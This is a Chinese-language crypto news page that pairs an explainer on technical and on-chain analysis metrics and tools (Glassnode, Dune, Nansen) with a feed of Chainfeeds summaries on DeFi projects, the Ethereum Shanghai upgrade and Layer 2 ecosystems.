技术分析使用以往表现的数据来分析加密货币，以预测可能的市场表现。技术和基本面分析各种影响价格方面的因素。基本面分析从经济活动、信息发布和地缘政治事件中得出价格走势；相反，技术分析主要关注过去的活动、价格变动和交易活动。 让我们使用 BTC 从 2020 年 11 月到 2021 年 7 月的价格走势来说明技术分析的工作原理。上图举例说明了头肩形态，这是一种潜在的价格走势反转形态，其中任何突破颈线都预示着价格的重大变化。 BTC 的价格在 2021 年 5 月 15 日跌破颈线时从 50,000 美元跌至近 35,000 美元。 链上分析考虑区块链上经过验证和记录的数据来预测趋势和衡量市场情绪。换句话说，链上研究涉及监控资金如何在区块链上移动以发现潜在的投资机会。它对加密世界来说是独一无二的，因为其他资产类别不在公共分类账上运行。你可以进行链上分析以确定不同市场参与者购买或出售给定资产的原因。下面是一个例子。 通过Glassnode这样的链上分析平台，可以查看BTC投资者的各种活动。例如，他们是主动将资产存入中心化交易所 (CEX) 还是将资产提取到去中心化钱包。大量流入 CEX 表明他们有可能抛售所持资产，而大量涌入去中心化钱包意味着他们计划持有一段时间。你可以使用这些信息来指导你做出明智的投资决定。 链上分析常常会利用到多个指标，例如活跃地址、交易量、供应分布和与资产价格行为相关的锁定总价值。 分析区块链网络上的活动地址可以提供有关用户参与和采用的见解。随着时间的推移，动态地址的增加表明网络用户群的增长，而活动地址的减少可能表明缺乏兴趣或采用。要分析活动地址，你可以跟踪每天或每周在网络上发送或接收资产的唯一地址的数量。考虑活动地址随时间的变化率并将其与其他指标（例如交易量）进行比较也很重要。要跟踪区块链上的活动地址，你可以使用 Etherscan 或 BscScan 等浏览器。 交易量衡量给定时间段内区块链网络上的交易总数。你可以使用它来评估网络活动水平和对基础资产的需求。 分析交易量有助于确定用户行为的趋势和模式，例如市场波动较大期间的交易量峰值。你可以跟踪网络上每天或每周的交易数量以及平均交易规模和费用来评估交易量。同样，此信息也可在区块链浏览器上获得。 分析区块链网络上的供应分布可以深入了解代币的分散和集中程度。供应分布衡量加密货币总供应量在持有者之间的分布。 分布更均匀的供应表明网络更加去中心化，而代币集中在少数大持有者之间可能表明中心化程度更高。要分析供应分布，你可以跟踪持有加密货币总供应量一定百分比的钱包的数量和大小。 锁定总价值 (TVL) 衡量锁定在区块链网络上的智能合约或去中心化应用程序 (dApp) 中的资产的总价值。您可以使用它来评估 dApp 的采用和使用水平以及对基础资产的需求。要检查 TVL，您可以跟踪锁定在网络上不同 dApp 中的资产的每日或每周价值以及用户和交易数量。比较不同 dApp 和网络的 TVL 以确定用户行为的趋势和模式也很重要。要检查链条的 TVL 以及它与市场其他部分的比较情况，您可以使用像 DefiLlama 这样的工具。 以下是价格行为的三个链上指标： 已实现损益 (RPL) 是一种链上指标，用于衡量出售资产后实现的浮动损益。一旦您购买了数字货币，您将因价格变动而产生盈利/亏损。您通过将已实现金额与已实现的收入进行比较来确定您的 RPL。如果结果是积极的，你就实现了利润；如果它们变成负数，那就是损失。 通过随时间跟踪 RPL，您可以深入了解长期持有者的行为及其对特定资产的看法。例如，它可以帮助识别买卖机会。如果RPL高，则可能表明长期持有者正在获利了结，可能更容易卖出，从而产生潜在的抛售压力。另一方面，如果 RPL 较低，则可能表明长期持有者持有其资产，这可能表明看涨情绪和潜在的买入机会。 利润供应是区块链中目前处于利润中的代币数量——它们最后转移的价格低于当前价格。另一方面，亏损供应是区块链中目前亏损的代币数量——它们最后转移的价格高于当前价格。 您可以通过确定价格低于当前价格时最后移动的代币数量来计算利润供应（自上次资产转移以来价格已经升值）。在牛市期间，流通中的供应量大部分为利润供应，而在熊市期间，利润供应量逐渐下降，在每个熊市结束时触底。 当一种加密货币达到大多数投资者获利的价格水平时，他们可能更有可能卖出，从而产生潜在的阻力。相反，当一种加密货币达到许多投资者亏损的价格水平时，他们可能更有可能持有或购买更多，从而创造潜在的支持。 已实现市值是市值的一种变体，它根据其先前的历史价格变化对每个未花费的交易输出 (UTXO) 进行估值，这与当前价格不同。因此，已实现市值代替了资产的平均市场价值，与区块链中可用代币的已实现价值相呼应。 已实现市值背后的概念是建立一个链上指标，根据账户链的最新状态，最大限度地减少丢失代币和价值代币的影响。通常，当代币丢失时，市值不考虑它们。 已实现市值与上述方法不同，它会将每个最后移动的资产重估为其最新价值。因此，如果您以高于上次转移资产时的价格花费资产，它就会重估为更高的价格，并相应增加已实现的资本化。 以下是链上数据分析的三大工具： Glassnode 是最流行的链上分析工具之一，它通过链上指标提供加密货币市场洞察。 Glassnode 成立于 2018 年，致力于通过为用户提供市场情报和相关链上数据来简化用户的研究过程并帮助他们做出决策。 Glassnode 因其对各种数字货币市场指标的综合报告而广为人知，它拥有多种应用程序，以革命性的方式保持领先。它的实时数据呈现了大量图表和仪表板，对钱包活动、余额、网络增长、代币供应、持有者数量等进行了深入分析。 主要特点 价格 Glassnode 支持的定价包如下： Dune 是您应该考虑的另一种流行的链上分析工具。与涉及新脚本的其他分析工具不同，您可以查询 Dune 数据库以收集几乎所有链上信息。 Dune 以通过简单的 SQL 查询以太坊区块链而闻名。通常，该平台提供所有必要的工具来查询、提取和显示大量区块链数据。 主要特点 价钱 Dune 支持以下三种定价计划： 与 Glassnode 和 Dune 不同，Nansen 将区块链数据与 2.5 亿多个带标签的钱包相结合，以提供链上分析。尽管 Nansen 非常适合寻求深入链上研究的专业加密货币投资者，但新手仍然可以使用它来了解有关数字货币的更多信息。 主要特点 价钱 Nansen支持四种定价方案：   结论 在区块链正在改变数字价值的时代，数据的价值至关重要，链上分析的重要性必须得到重视。 Glassnode、Dune 和 Nansen 等多个平台已经出现，为加密货币投资者提供了大量易于使用的链上指标和数据集。然而，您从这些工具中获得的洞察力和警报也只能作为指导您做出投资决策的辅助因素——它们也并非万无一失。 -END-  ( 3 min )

  • Open

    去中心化稳定币龙头 Liquity 的业务现状、机遇与挑战
    Chainfeeds 导读： 近期，随着 BUSD 停止发行和 USDC 脱锚事件，以及 Binance 上线 LQTY，去中心化稳定币以及 Liquity 又一次成为了市场热点。去中心化是 Liquity 最大的叙事，也是其最大的基本面。在目前的强监管趋势之下，任何针对稳定币的监管行动都有可能是 Liquity 的机会。Mint Ventures 研究员 Lawrence Lee 撰文分析 Liquity 的业务发展情况，以及相对其他稳定币协议的竞争优劣。 文章来源： https://research.mintventures.fund/2023/04/13/an-overview-of-the-leading-decentralized-stablecoin-liqudity/ 文章作者： Lawrence Lee（Mint Ventures） 观点： Lawrence Lee（Mint Ventures）：完全的去中心化是 Liquity 和 LUSD 最显而易见的优势。目前 LUSD 仅由 ETH 超额抵押生成，是完全去中心化的资产。除此之外，优秀的机制设计也是支撑 Liquity 发展的基石，Liquity 某种程度上实现了稳定币的不可能三角：去中心化、资本效率和价格稳定性。这也使得 Liquity 成为最多被 fork 的稳定币协议。 内容来源 Lawrence Lee（Mint Ventures）：无治理也是 Liquity 一个很有趣的特性，尽管可以避免代理人冲突、提升协议安全性且保证协议更加去中心化，但是无治理仍然会明显制约 Liquity 未来的发展。无治理可以作为稳定币协议的最终追求，但在目前整个 DeFi 乃至 Web3 领域蓬勃发展仅仅不到 5 年时，就主动放弃变化的权利，将会很难应对后续的环境变化和激烈的后来者竞争。 内容来源 Lawrence Lee（Mint Ventures）：Liquity 借贷不收取利息，而是在铸造和赎回收取手续费，手续费比例由预先设定好的算法所控制，不过在 Liquity 协议运行的绝大多数时间都是 0.5%。收费结构的问题以及未来激励不足也有可能制约 Liquity 的发展。另一方面，Chicken Bonds 没有给 Liquity 带来新的用例和用户，仅靠目前 LUSD 持有人之间的零和博弈带来的 bLUSD 收益增幅是难以持续的。 内容来源  ( 13 min )
    【英文长推】盘点 zkSync 生态 6 个创新项目：ZKEX、Increment、ZigZag…
    Chainfeeds 导读： 上线仅不到 30 天，zkSync Era TVL 已达到 2 亿美元，同时成为以太坊 L2 中活跃度排名第二的平台，日交易量甚至超越 Optimism 。所有这些都是在没有激励计划，且部署了不到 20 个 dApp 的情况下发生的。The DeFi Investor 发推盘点生态中 6 个最具潜力和最具创新性的项目。 文章来源： https://twitter.com/TheDeFinvestor/status/1645785686954643461 文章作者： The DeFi Investor 观点： The DeFi Investor：1）ZKEX 是即将推出的基于 ZK Rollups 技术的多链 DEX，目前已上线测试网。ZKEX 允许用户跨多个区块链交易资产，同时支持高级订单类型，如限价、止损和部分成交等功能；2）Increment 是一个永续期货平台，利用 Curve V2 的 AMM 进行交易执行，具有自动集中流动性、动态费用、可参数化池等特点。可能会在 2023 年第二季度在 zkSync Era 上推出；【原文为英文】 内容来源 The DeFi Investor：3）ZigZagExchange 是为以太坊 L2 构建的 P2P 订单簿 DEX，允许任何人在 ZigZag 上列出一对交易对。该协议理论上已准备好发布，但由于 zkSync Era 上缺少某些功能导致延迟；4）Derivio 正在构建一个基于链上衍生品生态系统，允许交易现货、期权和高阶衍生品。目前已上线测试网，并且正在开发其他产品，如衍生品保险库；【原文为英文】 内容来源 The DeFi Investor：5）zkGame 是 Web3 原生的 GambleFi 协议，通过利用防篡改机制和 VRF 技术提供透明性和公平性。项目已确认发行代币，与其实时测试网进行交互可能会有资格获得空投；6）Tevaera 是一个类似 Treasure DAO 的项目，致力于构建基于 zkSync 的链上游戏生态系统。除了游戏，他们还在开发 L3 游戏超级链，以及用于 P&E 经济的 DEX。【原文为英文】 内容来源  ( 2 min )
    印度早期风投基金 pi Ventures 获 1200 万美元投资承诺，将专注于区块链等创新领域
    印度早期风投基金 pi Ventures 获 1200 万美元投资承诺，将专注于区块链等创新领域 印度早期风险投资基金 pi Ventures 宣布已经从印度小型工业发展银行（SIDBI）管理的初创企业基金（FFS）中获得 10 亿印度卢比（约合 1200 万美元）的投资承诺，同时该基金还得到了 BII、Nippon India Digital Innovation AIF （NIDIA）、Accel、Colruyt、以及 Binny Bansal、Varun Alagh 等投资方的支持。该笔资金将用于投资专注于人工智能、区块链等跨行业深度技术的初创公司。 内容来源  ( 6 min )
    盘点上海升级后，各方对 ETH 未来走势的看法
    Chainfeeds 导读： 期待已久的以太坊上海升级终于完成，交易员仍在分析当 1800 万枚质押 以太坊最终进入市场时会发生什么。一些观察人士预计，随着用户清算其持有的资产，以太坊价格会在升级后会暴跌；而其他人则认为抛售压力的预期上升已经被消化，市场将在升级完成后因经典的「Buy the Rumor， Sell the News」反弹。比推 BitpushNews 作者 Mary Liu 撰文盘点各方观点。 文章来源： https://bitpush.news/articles/3988139 文章作者： Mary Liu 观点： Mary Liu：Glassnode 的一份报告表示，以太坊上海升级后可能出现约 3 亿美元的 ETH 抛压，但 Glassnode 认为这种抛压可以很快被吸收。分析师表示：「即使在提取和出售最大数量的奖励和质押的极端情况下，卖方交易量仍小于交易所平均每周流入量。因此，即使是最极端的情况，ETH 的价格也只会产生可接受的影响。」根据 Glassnode 的说法，由于以太坊对每天解锁质押的 ETH 数量有限制，因此只有 70,000 ETH（约 1.33 亿美元）「实际上会变成流动性」。 内容来源 Mary Liu：根据 Blockworks Research 数据，截至美东时间周三中午， 只有 1.3% 的以太坊验证者（即 2400 人）称其退出了区块链质押。Blockworks Research 称：「这可能表明几乎没有退出的意愿，或者大多数人都在等到升级后」。 内容来源 Mary Liu：Galaxy Digital 分析师在本月初发布的一份报告中表示：「我们预计将售出 553,650 ETH。在 7 天内摊销，这相当于一周内每天 ETH 交易量（包括现货和永续合约）的约 1%，根据广泛的风险环境和上海升级期间以太坊的整体流动性，我们的看法是介于无影响和略微看跌之间」。 内容来源 Mary Liu：QCP Capital 表示情况并不乐观，其团队在 Telegram 中表示：「我们看不到这一事件的看涨情况是什么，因为排在队伍前面的人可能会卖出现货，而排在后面的人将通过永续合约 / 期货进行对冲。由于预期这一事件，空头已经开始行动。在 Shapella 导致 ETH 进一步看跌价格行动后的几天里，流动性本就不够深厚的市场的现货卖压持续存在，这也可能拖累大盘」。 内容来源 Mary Liu：Wave Digital Asset 去中心化金融负责人 Henry Elder 认为，此次升级是以太坊和 Lido 等流动性质押解决方案治理代币的「卖新闻」事件。Elder 说：「我们应该预料到提款队列会立即排满，并且会持续数周。大部分提款可能来自早期的个人质押者，他们现在希望转向流动性质押解决方案。现在占主导地位的质押解决方案的早期用户也希望转向少数质押解决方案以增加去中心化。」 内容来源  ( 4 min )
    【英文】Arbitrum 空投后数据情况：用户留存、活跃地址、日交易量
    Chainfeeds 导读： Nansen 数据记者 Martin Lee 分析了 Arbitrum 在空投后的数据情况，包括用户留存、活跃地址和日交易量，认为 Arbitrum 相对于其他同行来说表现出色，是可持续增长和采用的良好迹象。 文章来源： https://twitter.com/themlpx/status/1646139113362567168 文章作者： Martin Lee 观点： Martin Lee：Arbitrum 在最近一个月的时间范围内用户留存率为 56%，一周时间范围内用户留存率为 40%；除此之外，活跃地址和日交易量也均有上升。其中，活跃地址数量约为 15 万至 19 万，高于空投前约 12 万；每日交易量约为 85 万至 100 万，同样高于空投前的日交易量。【原文为英文】 内容来源  ( 2 min )
    【英文长推】全方位解析 Pendle 和 Flashstake：如何带来收益飞轮？
    Chainfeeds 导读： 过去几周内，Pendle 和 Flashstake 一直表现亮眼，加密研究员 0xJeff 发推全方位详细解析了 Pendle 和 Flashstake 两个项目，包括其价值累积机制、竞争格局、倍数分析、催化剂、风险以及自己采取的交易策略等等。 文章来源： https://twitter.com/LandfSmile/status/1645768492598312960 文章作者： 0xJeff 观点： 0xJeff：Pendle 将代币包装成标准化收益代币（SY），并将其分解成生息资产（YT）和本金（PT）两部分。YT 类似分离的有息债券，提供基础代币收益率，Pendle 从中抽取 3% 的收益分配给 vePENDLE 持有者；PT 类似零息债券，以折价交易，价格将在到期时向基础资产的价格移动。vePENDLE 还可以从到期未赎回的 PT 中获得部分收益，以及持有者投票选出的流动性池的 80% 的交换费用。【原文为英文】 内容来源 0xJeff：Flashstake 的工作原理和 Alchemix 类似，区别是 Flashstake 始终为 100% 抵押，不是自偿贷款，存款不会被清算。Flashstake 可以在任何特定时间内锁定固定的 APR；允许用户灵活选择固定收益率的时间（最长为分钟）；$FLASH 独特的代币经济学允许用户存入 $FLASH 以收取发送到 Flash Capacitor（由 $FLASH 持有者拥有的国库）的费用。【原文为英文】 内容来源 0xJeff：Pendle 的收益飞轮：用户无论购买 PT 还是 YT ，都会增加 vePendle 和 LP 的互换费用；用户赎回 SY 会为 Pendle 用户提供更多的流动性，减少每个人的滑点，使市场更健康；Flashstake 的收益飞轮：用户预先获得收益，更多的费用被送发到 Flash Capacitor，就会有更多的人购买 $FLASH 以解锁这些费用。另外，用户可以在这两个协议之间采取协同策略，例如，可以从 Flashstake 获得前期收益，并将这些收益用于购买 YT，获得长期收益。【原文为英文】 内容来源  ( 2 min )
    Arthur Hayes 看好的 LSD 赛道新秀 ether.fi 有什么优势
    Chainfeeds 导读： 以太坊完成上海升级，启用质押提款功能，LSD 赛道规模也将随之扩大。目前，市面上还没有 LSD 项目能将高质押收益率和去中心化、非托管结合得很好。BlockBeats 作者 Leo 撰文对由 Arthur Hayes 家族办公室基金 Maelstrom 参与投资的，致力于非托管、持续质押收益的 LSD 赛道潜力协议 ether.fi 进行介绍。 文章来源： https://www.theblockbeats.info/news/36448 文章作者： Leo 观点： Leo：etherfi 是一个去中心化、非托管的委托质押协议，质押者在从创建到赎回的整个质押过程中可以控制自己的密钥，并且可以随时退出验证器以收回他们的 ETH，从而防止节点运营商，很好地做到了「Your keys, Your crypto」，ether.fi 降低了各方的风险，包括不再需要保持钱包连接或依赖可信中间方进行协调的节点运营商。 内容来源 Leo：ether.fi 上分 4 类用户：质押者且是 Bond 持有者、只持有 eETH 的质押者、节点运营商、节点服务用户。ether.fi 的委托质押机制促进了节点服务市场的发展，节点运营商和质押者可以在其中注册他们的节点以提供基础设施服务。 内容来源 Leo：ether.fi 路线图分为三个阶段，目标是在每个阶段结束时实现更彻底的权力下放。1）委托质押：ether.fi 计划于 4 月 30 日将早期 ETH 质押者池迁移到主网上的 V1 流动性池，期间质押用户将收到 eETH（可以换回 ETH），并有机会获得奖励；2）流动资金池：2023 年第二至第三季度。少于 32 ETH 或不想承担监控验证者节点责任的质押者，可以通过在 NFT 流动性池中铸造 eETH 来参与 ether.fi 质押，流动资金池包含由 ETH 和 T-NFT 组成的混合资产；3）节点服务：2024 年第一至第二季度。预计将与 EigenLayer 合作支持其节点服务层机制。 内容来源
    【英文长推】 如何抓住 GMX v2 的机会？
    Chainfeeds 导读： GMX V2 细节尚未完全确定。加密货币 KOL 2Lambroz.eth 综合潜在影响、催化剂和机会，给出关于 GMX v2 的 5 个预测。 文章来源： https://twitter.com/2lambro/status/1646039115635515393 文章作者： 2lambroz.eth 观点： 2lambroz.eth：1）抢占互换市场的一大部分份额。使用新的独立的 LP 模型，GMX 将能够设置更多交易对并从 DEX 获取互换量。2）更多市场。我相信会有更多资产交易和更多交易者。3）GLP 战争 2.0。具有独立 GLP 交易对的 GMX 协议及其零无常损失性质，促使智能收益协议即将到来。【原文为英文】 内容来源 2lambroz.eth：4）GMX v2 分叉季。有人会以某种方式在新链上分叉一些东西，也许是一些更奇特的 LP 交易对。5）潜在的 GMX 代币收益率增加大于 GLP。GMX 代币从所有交易对中获取费用， GLP 只获取单个交易对。【原文为英文】 内容来源  ( 2 min )
    【英文长推】 PROOF NFT 分析师概述 NFTFi 市场进展：哪些趋势值得关注？
    Chainfeeds 导读： Moonbirds 母公司 PROOF NFT 分析师 WarDaddyCapital 撰文对过去一周 NFTFi 领域发生的值得关注的事件，包括违约率、活跃抵押品、NFT 衍生品、指数风险等。 文章来源： https://twitter.com/wardaddycapital/status/1645919334597021697 文章作者： WarDaddyCapital 观点： WarDaddyCapital：1）NFTFi 1 月份在贷款量和贷款总额方面创下了历史新高。且由于大部分 NFT 自 1 月开始价格呈下降趋势，NFTFi 违约率达到 2021 年 5 月以来最高点；2）过去一年内，新的借贷平台持续获得大部分借贷量，过去两个月内，无论是日活跃用户，还是未偿还债务和交易量，ParaSpace 都成为了佼佼者；【原文为英文】 内容来源 WarDaddyCapital：3）BendDAO 于上个月通过了一项治理投票，将 Azuki 持有者的 TVL 提高至 50%；4）NFT 永续期货 DEX nftperp 自 2022 年 11 月 25 日以来，已经服务了 1980 名用户，共产生了 2.37 亿美元交易量；5）基于 Solana 的链上衍生品平台 Sujiko Protocol 的 paper trading 于上周上线，Solana NFTFi 赛道不容忽视；6）NFT 算法借贷协议 Fungify 指数代币平台上周在 Goerli 测试网上推出，聚合了 BAYC / MAYC、Punks、CloneX、Azuki 及 Doodles 六个集合。【原文为英文】 内容来源  ( 2 min )
    【英文长推】新项目前瞻｜基于 Arbitrum 上的借贷协议：LodestarFinance
    Chainfeeds 导读： 市场对 Radiant Capital 这类借贷项目的需求正在迅速增长。LodestarFinance 提供给用户使用 LSD 获得额外收益的机会，或者将它们用作贷款的抵押品。加密货币 KOL 从产品特点、路线图、代币经济模型等方面介绍了 LodestarFinance。 文章来源： https://twitter.com/cryptonikyous/status/1646154146871930880 文章作者： Nikyous 观点： Nikyous：产品特点：向协议提供代币赚取 ARB 的利息；抵押存款以借入加密资产；在不产生应税事件的情况下获得流动性；通过借贷功能使用杠杆；解锁收益资产的流动性。【原文为英文】 内容来源 Nikyous：1）供应市场。存款人收到代表基础存款的衍生品。APY 随着池的使用而动态变化。取款金额为本金加应计利息。2）抵押品。要借入资产，必须首先抵押存款的头寸。然后，用户可以根据提供的本金数量和抵押因素借入资产。抵押因素是用户可以为资产借入的最大金额率。【原文为英文】 内容来源 Nikyous：3）借款。提供抵押品后，用户可以开始借入他们选择的资产。限额由他们账户的抵押品因素决定。4）储备。充当协议保险流动性的后盾。储备存储在每个相应的 lToken 合约中。储备因子是借款人支付的利息中被预留的部分。5）清算。清算发生在：借款余额超过抵押因素允许的数额。当健康因素 内容来源  ( 2 min )
    【英文长推】观点：zkSync 对于加速链上游戏的大规模采用至关重要
    Chainfeeds 导读： zkSync 生态系统正在以惊人的速度增长中。构建在 zkSync 上的游戏生态系统 Tevaera 阐述了他们相信 zkSync 对于加速链上游戏的大规模采用至关重要的原因。 文章来源： https://twitter.com/tevaera/status/1645985710560907265 文章作者： Tevaera 观点： Tevaera：1）创新。打破现状并构建具有出色 UX 的加密产品，以实现大规模采用等于 ERA (zkEVM)。通过原生 AA 用于更流畅的加入和灵活的逻辑并优化游戏内交易的成本配置来实现。2）超大规模。在不降低安全性和去中心化性的情况下处理无限多的交易。通过 zkSync 超级链（L3）实现。3）减法。消除对协议的影响和控制的概念，使其成为一个社区驱动的生态系统，与开发人员和用户一起繁荣发展。【原文为英文】 内容来源  ( 2 min )
    以太坊上海升级，老牌 DeFi 应用如何切入 LSD 赛道分一杯羹？
    Chainfeeds 导读： 以太坊质押或将催生千亿规模的 LST，正在重构和改变传统 DeFi 应用的收入结构。老牌 DeFi 应用是通过哪些方式入局 LSD 赛道呢？ChainCatcher 链捕手指出老牌 DeFi 应用入局的方式主要可分为两大类，一类是帮助提高质押相关收益及 LST 资产利用率，另一类是帮助提升 LST 代币的流动性。 文章来源： https://www.chaincatcher.com/article/2091021 文章作者： 链捕手 观点： 链捕手：1）帮助提高质押相关收益及 LST 资产利用率：MakerDAO、Frax、Yearn 致力于提升 LST 代币相关收益率。MakerDAO 推出 LST 代币合成资产 ETHD，抵押铸造 DAI 提高资金利用率。算法稳定币 Frax 推出 frxETH，提高 ETH 质押收益。Yearn 推出一篮子 LSD 资产「yETH」，提升收益率。 内容来源 链捕手：2）帮助提升 LST 代币的流动性：Curve 和 Balancer 着重于提升 LST 代币流动性。在上海升级前，Curve 平台已成为 LST 代币兑换退出的首选交易平台。上海升级后，尽管支持用户用 LST 直接提取质押的 ETH，但由于每日提款数目有限，提取过程也较为复杂，Curve 依旧会是 LST 资产重要的交易兑换平台。Balancer 已经成为除 Curve 之外，LSD 代币的另一个主要交易阵地。其中，在 Balancer 平台上 Rocket Pool 的 rETH/WETH 资金池是所有 DEX 中流动性最高的。 内容来源  ( 4 min )
    【英文】Shapella 升级如何推动以太坊向前发展？
    Chainfeeds 导读： 随着 Shapella 升级开启以太坊提款，Crypto Twitter 充斥着近期解锁对于市场价格影响的预测，然而其对价格的影响只是故事的一部分。Bankless 作者 Jack Inabinet 解释了为什么 Shapella 升级至关重要。 文章来源： https://www.bankless.com/how-shapella-pushes-ethereum-forward 文章作者： Bankless 观点： Bankless：Solo staking 和 staking-as-a-service (SaaS) 允许加密货币参与者在以太坊上产生收益，但是，用户的质押仍处于锁定状态，无法出售或转让。Lido 的 stETH 和 Coinbase 的 cbETH 等流动性质押衍生品（LSD） 就是试图解决这一流动性不足的问题。LSD 已锁定超过 14.5B 美元的总价值，并使 ETH 持有者能够赚取收益，同时保留抵押 ETH 的流动性。【原文为英文】 内容来源 Bankless：但 LSD 本质上可能比 ETH 抵押品的流动性低。由于无法提现，他们只能依靠未来兑换承诺维持锚定价值。Shapella 升级不仅提供了 LSD 解决方案之外的权益流动性，还允许市场开始重新分配权益并削弱 Lido 对验证者集 31% 的巨大控制权。Shapella 赋予利益相关者权力，是进一步实现网络安全去中心化的关键一步。【原文为英文】 内容来源 Bankless：由于有限的区块需求和其他回报高的投资选择，以太坊支付的收益率未能作为市场利率获得吸引力。在 Shapella 之后，可以从 Beacon Chain 中取出他们的 32 ETH 来追加收益，或者在无风险利率不再具有足够吸引力时撤离。【原文为英文】 内容来源  ( 8 min )
    【工具推荐】 免费 Web3 防病毒软件：De.Fi
    Chainfeeds 导读： 加密领域的安全问题一直困扰着行业发展，如何保持资金安全也成为了项目方和用户最关心的问题之一。加密研究员 Defi_Mochi 撰文推荐了一个完全免费的可以检查合约地址以保护资金安全的工具 De.Fi，并通过简单教程进行了功能演示。 文章来源： https://twitter.com/defi_mochi/status/1646211673471201280 文章作者： Defi_Mochi 观点： Defi_Mochi：De.Fi 包括两个组件：1）扫描器：能够在几秒钟内对任何代币进行全面技术和流动性分析，包括智能合约审计；2）Shield：自动扫描用户钱包中的高风险代币和批准情况。我们在 De.Fi 中输入一个在 Random 钱包中发现的但尚未被 Etherscan 检测到的诈骗合约地址后，只需要几秒钟，De.Fi 就找出了这份合约的所有细节，包括转账费用及限额。此外，你还可以使用 De.Fi 检查自己的钱包是否存在漏洞。【原文为英文】 内容来源  ( 2 min )
    【长推】ETH 提款数据追踪工具盘点：Etherscan、Nansen 及 Token Unlocks
    Chainfeeds 导读： 以太坊上海升级成功启动后，市场关注点纷纷聚焦在 ETH 提款数据上。加密研究员余烬整理了三个可以查看 ETH 实时提款数据的网站，以方便大家进行数据追踪。 文章来源： https://twitter.com/BitcoinEmber/status/1646306230053511169 文章作者： Bit余烬 观点： Bit余烬：Etherscan：能够查看目前已经提款成功的 ETH 总量、交易笔数及查看单个区块的提款数据 内容来源 Bit余烬：2）Nansen 上海升级仪表盘可以查看目前的质押存取款数据、ETH 最高质押实体及地址、当前提款状态和提款队列。此外，还可以查看 LSD 协议关键指标和数据分析 内容来源 Bit余烬：3）Token Unlocks 仪表盘可以查看目前质押存款、待提款数据可视化图表。 内容来源  ( 2 min )
    技术解读 Polygon zkEVM：跨链桥、最终性及去中心化排序器潜在方案
    Chainfeeds 导读： Ethstorage 工程师 0xhhh 撰文对 Polygon zkEVM 关于 Sequencer 和 Bridge 的技术细节进行了深入分析，并对潜在的去中心化 Sequencer 架构的特点进行了诠释。 文章来源： https://literate-wolfsbane-bf0.notion.site/polygon-zkEVM-f0915b65aa784593a77b1938ddf34755 文章作者： 0xhhh 观点： 0xhhh：Polygon zkEVM 存在三种不同程度的 Finality：1）Sequencer Finality：其实是 Single Sequencer 给的状态承诺；2）DA Finality：代表交易已经被提交至 L1 的 DA 层合约上，此时交易顺序也被确定；3）Verified Finality：指的是这笔交易已经通过 validity proof 验证了，属于真正的 Finality，也被称为 Hard Finality。 内容来源 0xhhh：去中心化 Sequencer 潜在方案：1）Based Rollup：期望将 Rollup 网络的 Single Sequencer 工作委托给以太坊 propose r 去完成，会要求每个 Proposer 提案 L1 的区块需要包含一个有效的 Rollup 区块。优势在于最大程度继承了 L1 安全性及去中心化程度，但也会导致只能提供 Sequencer Finality 和 Verified Finality； 内容来源 0xhhh：2）Shared Rollup：将构建和提交 Rollup Block 的工作交给 Share Sequencers 中委员会。潜在影响包括多个 Rollup 共用一个 Shared Sequencer Committee，且从单个 Rollup 角度来看，只是把把官方运行的 Single Sequencer 委托给了这个 Shared Sequencer Committee。此外，在每一轮从 Shared Sequencer Committee 中会选出一个 Sequencer Leader，负责对接入这个 Shared Sequencers 网络的 Rollup Block 进行构建，并且依次将这些 Rollup Block 提交到对应 Rollup 在以太坊上的 DA 合约内。 内容来源
    【英文长推】梳理 Cosmos 生态最新进展：Neutron、Everstake、Keplr Wallet ......
    Chainfeeds 导读： 质押服务 Everstake 部门负责人 Vadim 撰文梳理了 Cosmos 近期发展中值得关注的事件，包括 Cosmos 生态项目进展、关于 Cosmos 的采访等内容。 文章来源： https://twitter.com/vadim_everstake/status/1646152504047022081 文章作者： Vadim 观点： Vadim：1）Cosmos 生态链 Neutron 发布 NTRN 代币经济学，阐述了 NTRN 代币分配机制及在 Neutron DAO 中的作用；2）基于 Cosmos 的去中心化交易所 Osmosis 上架 FLIX 以促进 Cosmos 中 NFT 发展；3）发布 Cosmos Hub 2023 年 3 月更新，包括 Cosmos Hub V9 上线时间、Neutron 提案、流动性质押模块、选择性安全初步设计等内容；【原文为英文】 内容来源 Vadim：4）Everstake 展示钱包 SDK 产品，允许用户将 SOL、MATIC 及 ATOM 质押整合至钱包中；5）关于 Cosmos 联创 Ethan Buchman 的采访，分享了其对于 Cosmos 相关的早期见解；6）Cosmos 生态钱包 Keplr Wallet 在其用户界面增加了流动性质押标签，允许用户从 Stride 或 Quicksilver Protocol 提供的 LS 中获益；【原文为英文】 内容来源 Vadim：7）Nolus 与 Neutron 达成合作，允许用户通过 Nolus 租赁资产在多个链上进行互换、借贷等各种金融活动；8）Zaki 提议在 Cosmos 上增加一个由 𝔦𝔮𝔩𝔲𝔰𝔦𝔬𝔫 及 Stride 构建的新的流动性质押模块；9）Cosmostation Wallet 新增由 pSTAKE for Cosmos 提供的流动性质押，使得质押的 ATOM 解锁更加容易；【原文为英文】 内容来源  ( 2 min )
    【长推】关于 Web3 未来三年的展望：Layer2、模块化区块链及合约钱包
    Chainfeeds 导读： 随着 ZKR、模块化区块链及合约钱包的发展，几年后以 MetaMask 为代表的传统钱包、DeFi 生态及公链的市场格局可能会因为下一波市场增量及技术创新引领的变革遭遇挑战。加密研究员 Maxlion 撰文对 Web3 未来发展进行了预测分析。 文章来源： https://twitter.com/Real_Maxlion/status/1646193988913844225 文章作者： Maxlion 观点： Maxlion：1）L2 因为更高性能可以逐渐吸血以太坊生态，TVL 及 dApp 开发者等数据都证明了这一点；2）模块化背景下，以太坊会越来越向 Cosmos，更轻量化的 RaaS 会替代以太坊去 Cosmos 应用链的需求；3）模块化第一性原理下，以太坊作为 L1 最终可以完全不跑应用只做 DA，应用全部在 ZKR 上，但问题是 ZKR 也可以建立在比特币上，毕竟比特币更去中心化及安全；4）与此同时，账户抽象 / 合约钱包会相比传统钱包具备更强大的可编程性及安全性，可以适配全新链上应用，例如全链游戏。 内容来源  ( 2 min )
    ETHBeijing 黑客松 6 个参赛项目专访：GasLockR、Deep Stack Fantasy、Honeypot Finance......
